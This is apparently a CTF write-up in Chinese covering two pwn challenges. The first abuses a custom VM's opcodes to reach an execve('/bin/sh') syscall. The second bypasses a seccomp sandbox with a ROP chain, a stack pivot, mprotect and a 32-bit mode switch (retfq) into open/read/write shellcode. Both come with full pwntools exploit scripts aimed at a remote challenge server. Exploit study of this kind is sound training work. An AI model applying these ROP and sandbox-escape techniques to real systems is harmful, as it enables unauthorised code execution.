获得flag的方式很明显,调用syscall
可以注意到syscall的几个参数,不过实际上后续调试发现:
rax是sysno
rdi是sysno+8
rsi是RRsi(我命名的变量实际是0x4090)
rdx很关键,他不是RRDX(也就是0x40a0),而是RRSi+8即(0x4098)
有两个关键点:
1.有一个syscall前的if判断,我称这个变量为flag,他一开始是1,syscall需要他是0
2.既然要get shell,初步观察发现,case1是传递我们输入的内容,但是rdi需要的是存储/bin/sh\x00的地址啊,这个地址我们怎么获得呢
第一点:
如何让flag=0,ida中可以查看是通过case3,但是发现case3之后,buf变成了buf0,而buf0指向的是代码段的内容,gdb调试可以发现,这一段内容后续被vm虚拟机执行是先case6+case0;case6+case1;case5;case4
前两个会清空sysno和sysno+8,即rax和rdi,rax=0 && rdi=0?此时syscall会怎么样?read函数咯,那么我们是可以控制rsi和rdx的
再观察后续,case4?case4发现可以把buf改回我们之前输入的指令段,但是同时令人遗憾的是,会把flag也改回1。如何不让flag变成1呢,看ida
发现flag的根据v5来的,v5的值是buf_2000+0xfb8==0的结果的布尔值,这个值在case3中会被变成1,所以如果不出意外的话,v5一定会是0,flag就会变成1。但是我们可以读入啊,我们只需要在之前的那次read里,把这个地方覆盖为0不就好了。
那么问题来了,我们如何让rsi是这个地址呢?这就跟之前的第二个关键点一样了,如何让某个寄存器(不是严格的寄存器,就是sysno和RRSI)变成实际的地址呢
那么这套vm的伟大之处要来了case2的case5,可以让我们的buf+0x1000上面获得40b8的值,调试可知,这个地方的值一开始是buf+0x2ff8
但是case7和case8又可以加减40b0和40b8处的值
那么就基本明确思路了,利用case2+case5的组合,填入buf+0xfb8的地址,和/bin/sh的地址,然后操作即可
当时为了抢时间,发现case3之后再到case4后,我的40b8处的值不是8的倍数了,然而case7和case8是±8,所以最后存在2的偏移所以在布置/bin/sh前填两个\x00
然后第一个p64(20)以及最后输入的p64(0),是为了覆盖buf+0xfb8
from pwn import *
context(arch = 'amd64',os = 'linux')
#io=process('./pwn')
io=remote("101.200.155.151",24000)
#gdbscript = """
#set disable-randomization off
#"""
#gdb.attach(io, gdbscript=gdbscript)
#gdb.attach(io)
payload1=p64(20)+b'\x00\x00/bin/sh\x00'+b'\x00'*6+p64(59)+p64(0)+p64(0)
payload2=(p8(7)+p8(5))*0x1f8
#payload2+=p8(3)
payload2+=p8(2)+p8(5)
payload2+=p8(1)+p8(2)
payload2+=p8(1)+p8(3)
payload2+=p8(3)
payload2+=(p8(8)+p8(5))*(0x3f6-0x16)
payload2+=p8(2)+p8(5)
payload2+=p8(1)+p8(1)
payload2+=(p8(7)+p8(6))*2
payload2+=p8(1)+p8(0)
payload2+=p8(1)+p8(2)
payload2+=p8(1)+p8(3)
payload2+=p8(5)
io.sendline(payload1)
io.sendline(payload2)
pause()
io.sendline(p64(0))
io.interactive()
擂台 pwn8 复读机(64转32+orw)
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x15 0x00 0x01 0x00000002 if (A != 2) goto 0011
0010: 0x06 0x00 0x00 0x00000000 return KILL
0011: 0x15 0x00 0x01 0x00000101 if (A != 257) goto 0013
0012: 0x06 0x00 0x00 0x00000000 return KILL
0013: 0x15 0x00 0x01 0x000001b5 if (A != 437) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
开了沙箱,不允许提权和mmapp,open,openat
初步设想是openat2+sendfile
但是远程环境内核原因,openat2失败,发现沙箱对环境的检查并不严格,所以最后的shellcode可以转化为32位打open read write、
题目主要依靠到三个部分
case1,case2,case5
case1是输入的,但是由于cpy函数的特性,遇到\x00就会截断
case2是存在栈溢出的,会把case1读入的全部cpy到栈上变量上,因此可以控制程序执行流到执行shellcode
case2前会有一个case5,case5是一个伪随机打乱,直接1,40去定位每组的最终位置,然后由16组255字节和1组8字节填补到rbp,之后的就可以用来劫持程序执行流了
由于\x00截断,无论是值还是地址都会被截断,所以只能一个八字节一个八字节输入,记录好顺序,控制好程序执行流,由于不能输入0,通过各种gadget控制rdi=0,read到bss段一段内容,然后栈迁移过去,栈迁移过去后就可以肆无忌惮用0不用担心截断了,之后就是mprotect加上shellcode即可获得flag.txt
from pwn import *
context(arch = 'amd64',os = 'linux')
#io=process('./pwn')
io=remote("101.200.155.151",26000)
#gdb.attach(io)
elf=ELF('./pwn')
pop_rdi=0x4029cf
pop_rsi=0x40aa3e
pop_rdx_rbx=0x4aa5ab
pop_rax=0x45ffa7
push_rax=0x0000000000463361
pop_rbp=0x401d61
leave=0x47fd0c
xor=0x424c6b
stdin=0x4ec7d8
fgets=0x41af50
read=0x45f540
bss=0x4ee888
sub_rdi_rdx=0x45c664
flag_addr=0x4ed320
start=0x4ed000
syscall=0x460289
over=[0x5,0x1d,0x26,0xe,0x1c,0x10,0x24,9,0x1a,1,0x20,0xf,4,0x17,0x27,0xb]
flow=[0x21,0x13,0x18,0x12,0xc,0x23,0x7,0x25,0xd,0x19,0x22,0x2,0x1e,0x16,0x15,0x3,0x14,0x6,0x11,0x1b,0x1f,0x8]
pay = [
p64(1),
p64(pop_rdx_rbx),p64(0x4ef2a0),p64(1),
p64(sub_rdi_rdx),
p64(pop_rsi),p64(flag_addr),
p64(pop_rdx_rbx),p64(0x110),p64(1),
p64(read),
p64(pop_rbp),p64(flag_addr-0x8),
p64(leave),
p64(1),p64(1),p64(1),p64(1),p64(1),
p64(1),p64(1),p64(1)
]
cnt=0
payload ={}
for i in range(len(pay)):
payload[flow[i]]=pay[cnt]
cnt=cnt+1
for i in range(1,40):
io.sendline(b'1')
if (i in over):
io.sendline(b'a'*(0xff))
continue
if (i==10):
io.sendline(p64(10))
continue
io.sendline(payload[i])
pause()
io.sendline(b'2')
rop=p64(pop_rdi)+p64(start)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx_rbx)+p64(7)+p64(0)+p64(pop_rax)+p64(10)+p64(syscall)+p64(flag_addr+0x8*11)
rop+=asm('''
push 0x23
push 0x4ed381
retfq
.code32
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 5
push ecx
push 0x7478742e
push 0x67616c66
mov ebx, esp
xor ecx, ecx
int 0x80
mov ebx, eax
mov al, 3
sub esp, 0x100
mov ecx, esp
mov edx, 0x100
int 0x80
mov edx, eax
mov eax, 4
mov ebx, 1
mov ecx, esp
int 0x80
''')
io.sendline(rop)
io.interactive()